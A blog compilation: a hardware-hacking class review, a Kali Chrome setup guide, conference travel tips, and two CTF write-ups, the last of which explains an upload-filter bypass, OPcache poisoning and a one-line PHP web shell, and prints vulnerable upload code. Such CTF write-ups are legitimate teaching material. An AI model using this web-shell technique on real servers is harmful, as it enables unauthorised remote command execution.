Just returned from Hacker Summer Camp (Black Hat, BSides LV, DEF CON) and I’m exhausted. 10 days in Las Vegas is a lot of Las Vegas, even if you don’t spend a lot of time at the slot machines, table games, and shows.

My week started off with a training class at Black Hat: Hardware Hacking with the Hardsploit Framework taught by a couple of guys who clearly knew their hardware. I’ve previously taken Xipiter’s Software Exploitation via Hardware Exploitation, which helped with some of the basic concepts, but the two classes were definitely complimentary. SexViaHex predominantly focused on dumping firmware from embedded microcomputers (that is, they had a kernel, typically Linux, and were running applications on them) and analyzing them for exploitable software vulnerabilities (mostly memory corruption-esque issues). HH with Hardsploit, on the other hand, mostly focused on microcontroller-based embedded devices. This was much more a class of dumping flash to locate stored secrets, understanding the hardware of the device, and working from there.

I’m not going to list every thing taught in the class (I don’t think the authors would like that much) but I’ll cover my highlights:

• Unlocking an electronic door lock (actually a dummy PCB to simulate an electronic door lock with keypad)
• Use GNURadio and an SDR to locate, identify, and receive an unknown wireless protocol. We then had to write scripts to decode the received data and understand this wireless protocol.
• Use the techniques we learned before to do a drone CTF capstone consisting of trying to reverse engineer your drone, patch the flaws, and then exploit the flaws against other drones. (Unfortunately, I feel there wasn’t enough time left by this point, so we weren’t able to get all the way through this exercise.)

This was only a two-day class, but I believe I learned a ton of new things and got to exercise some skills I don’t get to touch very often. It was an intense experience, and I’d rather think they could do so much more ina 4-day format. I would have no doubts about recommending this class to others, or to taking another (more advanced) class from Opale.

As far as Black Hat Trainings are concerned: well, it includes breakfast and lunch, which is nice, but the food is literally the worst food I had in Las Vegas all week. It was completely stereotypical hotel ballroom food: breakfast was fruit platters and pastries with mediocre coffee and bottles of juice, and lunch was a random assortment of “banquet quality” items (i.e., pasta that wasn’t drained properly so is now sitting in a puddle, salads that are swimming in dressing, etc.). There was also an afternoon coffee/tea service each day, which was surprisingly nice (though swamped by attendees). Having coffee all day long for trainings would have helped my brain, but YMMV.

Next I’m off to BSides Las Vegas and Dichotomy’s Pros versus Joe’s CTF.

For many of the tools on Kali Linux, it’s easiest to run them as root, so the defacto standard has more or less become to run as root when using Kali. Google Chrome, on the other hand, would not like to be run as root (because it makes sandboxing harder when your user is all-powerful) so there have been a number of tricks to get it to run. I’m going to describe my preferred setup here. (Mostly as documentation for myself.)

Download and Install the Chrome .deb file.

I prefer the Google Chrome Beta build, but stable will work just fine too. Download the .deb file and install it:

1
dpkg -i google-chrome*.deb

If it’s a fresh Kali install, you’ll be missing libappindicator, but you can fix that via:

1
apt-get install -f

Getting a User to Run Chrome

We’ll create a dedicated user to run Chrome, this provides some user isolation and prevents Chrome from complaining.

1
useradd -m chrome

Setting up su

Now we’ll setup su to handle the passing of X credentials between the users. We’ll add pam_xauth to forward it, and configure root to pass credentials to the chrome user.

1
2
3
4
sed -i 's/@include common-session/session optional pam_xauth.so\n\0/' \
  /etc/pam.d/su
mkdir -p /root/.xauth
echo chrome > /root/.xauth/export

Setting up the Chrome Desktop Icon

All that’s left now is to change the Application Menu entry (aka .desktop) to use the following as the command:

1
su -l -c "/usr/bin/google-chrome-beta" chrome

In February, I wrote a guide to planning travel for BSides, Black Hat, and DEF CON, occasionally referred to as “Hacker Summer Camp.” In my original post, I promised an update with information about your actual travels to BSides, Black Hat, and DEF CON: what to bring, what to do, and how best to stay out of trouble. This is my best advice on that, but I’m sure others have differing opinions.

Health and Safety

I discussed the idea of managing your energy in the first post, but I can’t stress enough how important that is. Las Vegas is hot, there’s a lot going on, and so it’s easy to not realize how much you’ve burned yourself out. Take your time and don’t try to do everything – it’s not possible and you’ll make yourself sick in the process.

DEF CON 101 attendees will hear about the “3-2-1” rule. No, it’s not some new variation on the TSA’s 3-1-1 rule, it’s the guideline for personal survival at DEF CON: 3 hours of sleep, 2 meals, and 1 shower. Per day. Every day. Please follow at least this! Many days you may want to shower more than once, and I’d strongly encourage that – you’ll be packed into rooms with 15,000 of your (soon to be) closest friends, and there’s nothing that will make it harder to network and meet people than smelling like a gym with no ventilation. So I will also add: use deodorant. If you start to smell, take a shower, don’t just try to cover it up with some kind of body spray. Body spray just means you smell like sweat and some $4.99 crap you got from the checkout register.

This is a good time to mention hydration: it’s Las Vegas, which means it will be dry and hot, which is the recipe for dehydration. So is moving around a lot. So you need to always be drinking, and I don’t just mean Beer, Gin & Tonic, or Vodka & Red Bull. Drink lots of water. If at any point you get headaches, nauseated, or generally feel like crap, odds are you’re dehydrated and water will help. Money saving tip: if you want bottled water, buy water from a drugstore or convenience store on the strip (or if you’re driving, bring it with you). It will be much cheaper than buying it in any of the hotels.

Finally, a word about physical safety: keep your wits about you. DEF CON gets attendees of all sorts, and you’re in Las Vegas, a city known for clueless tourists, so there’s plenty of opportunity for thieves and other criminals. Know where your stuff is at all times, and don’t leave it unattended. Don’t look like a conference attendee outside the hotel, and if you’re out very late at night, being with others will help ensure your safety.

What to Bring

What to Wear

Read the weather forecast, but you can pretty much count on hot & dry. And when I say hot, I mean like 40°C (100°F +, for those of you not working in SI units). DEF CON is a highly informal conference – t-shirts and shorts or jeans are probably the “average” attire. If you want to look more professional, you’ll be fine too, unless you wear a suit. Then you’ll stick out like a sore thumb. BSides is approximately the same, Black Hat tends more towards business casual, though you’ll see plenty of t-shirts & jeans here too. Generally, wear whatever your comfortable in in hot weather.

Electronics

The network at DEF CON has been called the most hostile network in the world, but I suspect that’s a little overblown. That being said, it’s probably a good idea to treat it as highly hostile – better safe than sorry.

At a minimum:

• Backup your data in advance
• Fully patched
• Full disk encryption
• Firewall enabled
• Use a VPN & SSL-enabled sites
• Don’t click past SSL warnings

Other possible considerations:

• Don’t bring sensitive data at all
• Use a different hard drive
• Use a different device

Picking your devices

What electronics you want to bring will depend on what you want to do. Some activities will require a laptop: CTFs, Capture the Packet, Badge Hacking (most likely). If you want to participate in these or something similar, you’ll want to bring a laptop. Otherwise, I’d encourage you to leave the laptop at home, or at least in your hotel room. (Being mindful, of course, of theft and evil maid attacks.)

It’s obviously hard to go without a cell phone, but you may want to consider using a different phone from usual, for several reasons. This would give you the option to give out a number to arrange parties, events, etc., but not have them have your permanent contact information (as can various services) but also protects you against attacks on your devices. (There have been a lot of 3g/4g and mobile attacks lately, so it makes sense to pay attention there.)

Other things to Bring

• Cash: DEF CON tickets are cash-only, and you might want cash for cabs, drinks, etc. I’d recommend against using the ATMs in the immediate vicinty of the cons – you never know who’s found an 0-day or brought a skimmer!
• Notepad and pen: old fashioned note taking is sometimes the best.

Activities

There’s a lot of things to do in this week, and I’d like to focus on 3 principle ideas to help in choosing what to do:

• Don’t try to do it all – you just can’t
• Be active, not passive
• Try new things

Talks

Obviously, these conferences are best known for their talks and presentations, but I don’t actually consider those the most important reason for attending. I’ll attend a few talks, but since they’re nearly all recorded, I can always see the talks later. Attend talks that are of personal interest, but don’t force yourself to sit in the audience of a talk every hour – that’s being passive, and you won’t get as much out of things.

Villages

DEF CON hosts a number of villages each year, housing various demonstrations and activities, including the Lockpicking Village, Wireless Village, Packet Capture Village, and Tamper Evident Village. Each one will have talks and activities focusing on that particular aspect of “hacking”, and are great opportunities to learn something new from people who are extremely passionate about their niche. Some of the things you can try doing:

• Analysis of packets from the network
• Pick locks
• Try to open tamper-evident containers without leaving a trace
• Hunt for hidden wireless devices

The content from the villages is often not available anywhere else, so if you see a topic that you’re interested in, you should definitely pay them a visit.

Parties

It’s probably not a secret that there are parties in Las Vegas during this week. Many of these are great opportunities to get to know other security professionals and enthusiasts, discover what people are working on, and generally network. You never know when you might meet your next coworker. :)

Conclusion

I hope this has been helpful in your Hacker Summer Camp planning. Got a question? Check out /r/defcon or I’m @Matir on twitter.

Firtog gives us a pcap file that you can quickly see features several TCP sessions containing the git server protocol. The binary protocol looks like this in the follow TCP stream mode:

Switching Wireshark to decode this as “Git” almost works, but there’s a trick. If we read the git pack protocol documentation, we’ll see there’s a special side-band mode here, where the length field is followed with a ‘1’, ‘2’, or ‘3’ byte indicating the type of data to follow. We only want the data from sideband ‘1’, which is the actual packfile data. So we’ll grab that data using Wireshark and write it to a file, fixing up the last byte with quick python work.

Once we have the packfiles, we recreate the git repository. Begin by creating an empty git repository with git init. Then, we can use git unpack-objects < PACKFILE on each of the packfiles (in order, or else we won’t get the deltas resolved properly). Finally, to get the structure back to normal, run git fsck and you’ll see something like this:

1
2
3
4
% git fsck
Checking object directories: 100% (256/256), done.
Checking objects: 100% (21/21), done.
dangling commit 922faaf7d9a6f74eb661acc62b93b968ec3f781f

This dangling commit tells us it’s the only unreferenced commit in the repository (i.e., not referenced as a parent by a commit or merge), so let’s check that one out:

1
2
% git checkout 922fa
HEAD is now at 922faaf... a new encrypted flag :P:P

Ok, so now we’re somewhere. Let’s see what we have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
% ls
flag.py  flag.txt  readme
% cat flag.py
#!/usr/bin/python
# Simple but secure flag generator for ASIS CTF Quals 2016

from os import urandom
from hashlib import sha1

l = 128
rd = urandom(l)
h = sha1(rd).hexdigest()
flag = 'ASIS{' + h + '}'
print flag
f = open('flag.txt', 'w')
flag_enc = ''
for c in flag:
  flag_enc += hex(pow(ord(c), 65537, 143))[2:]
f.write(flag_enc)
f.close()
% cat flag.txt
41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c

So they grabbed some random data and hashed it, then did some exponentiation byte-by-byte to produce the output. There’s probably some better way to reverse it, but since it’s a limited character set, I just created a map of values to reverse the flag by performing the same math they did.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
% cat flagdec.py 
flag = '41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c'

lookup = {}

for b in 'ASIS{}0123456789abcdef':
    lookup[hex(pow(ord(b), 65537, 143))[2:]] = b

i = 0
out = ''
while i < len(flag):
    try:
        out += lookup[flag[i]]
    except KeyError:
        out += lookup[flag[i] + flag[i+1]]
        i += 1
    i += 1

print out
% python flagdec.py 
ASIS{c691a0646e79f3c4d495f7c5db3486005fad2495}

(I apologize for the quality of the code, but hey, it’s CTF-quality, not production-quality.)

Binary Cloud claims “Now you can upload any types of files, temporarily.” Let’s see what this means.

Rule one of web challenges: check robots.txt:

1
2
3
4
5
User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads

So we have some interesting paths there. debug.php turns out to be a phpinfo() page, informing us it’s ‘PHP Version 7.0.4-7ubuntu2’. Interesting, pretty new version. I play around with the app briefly to see how it’s going to behave, and notice any file ending in .php is prohibited. No direct .php script upload for us.

I got back to the PHPInfo, and notice that if we look closely, we discover the OPCache is enabled, set to a file directory (within the document root, interestingly). This reminds me of a recent blog post I read. (See kids, this is why it’s important to keep up on the news in security!)

Ok, so maybe we need the ability to upload files into the cache directory. Let’s figure out how to get that. Looking at the upload code, we see this:

1
2
3
4
5
<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
<p>Please specify the file to upload!</p>
<input class="form-control" type="file" name="file"><br>
<input class="form-control" type="submit" value="Upload!">
</form>

When we upload, we’re told it’s uploaded to uploads/filename. I notice the query string of uploads on the form action, so I try it with a few different paths. If you provide any string including cache you get an error, which makes me believe I’m on the right path but need to figure out how to bypass the path checks. This had me stumped for a long time, and I moved back and forth to other challenges, but eventually I came back and happened upon the fact that if you provided //upload.php?/home/binarycloud/www/cache/, it would work. (More on that later.)

So, now we need the opcache file to upload. I spun up a Ubuntu 16.04 VM to match the target as closely as possible. First I needed a php file to create an opcache for. I noticed in the PHPInfo that there was a path blacklist, including the obvious paths:

1
2
3
4
/home/binarycloud/www/index.php
/home/binarycloud/www/debug.php
/home/binarycloud/www/home.php
/home/binarycloud/www/upload.php

However, I also noticed that /cache/index.php appeared to be a script, and was not blacklisted. So, along with the system_id from our test system, I determined the target path to be /home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/cache/index.php. I created a basic webshell on my test server containing <?PHP passthru($_GET['x']); as /home/binarycloud/www/cache/index.php (the full path is embedded in the OpCache file) and grabbed the index.php.bin file. I upload this and then visit the page /cache/index.php?x=ls and am happy to see a directory listing. From there it’s just a short hop to get the flag in the root of the system.

###Appendix###

In case you’re wondering, I also grabbed the source to upload.php while I had my shell (because I like to understand problems even after I get the flag) and here it is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

function ew($haystack, $needle) {
    return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false);
}

function filter_directory(){
	$data = parse_url($_SERVER['REQUEST_URI']);
	$filter = ["cache", "binarycloud"];
	foreach($filter as $f){
		if(preg_match("/".$f."/i", $data['query'])){
			die("Attack Detected");
		}
	}
}

function error($msg){
	die("<script>alert('$msg');history.go(-1);</script>");
}

filter_directory();

if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
	if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
	$name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name']));
        if(ew($name, ".php")) error("error");
	$filename = $_SERVER['QUERY_STRING'] . "/" . $name;
	if(file_exists($filename)) error("exists");
	if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){
		die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>");
	}else{
		error("error");
	}
}

?>
	<hr>
	<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
		<p>Please specify the file to upload!</p>
		<input class="form-control" type="file" name="file"><br>
		<input class="form-control" type="submit" value="Upload!">
	</form>

Notice that filter_directory uses parse_url on the request URI. This means parsing a path beginning with two slashes and having a query string beginning with a slash gets treated as a hostname up through the ‘?’, followed by the path, with no query string. I’m not sure this is the right way to parse it, but it worked for me here. :)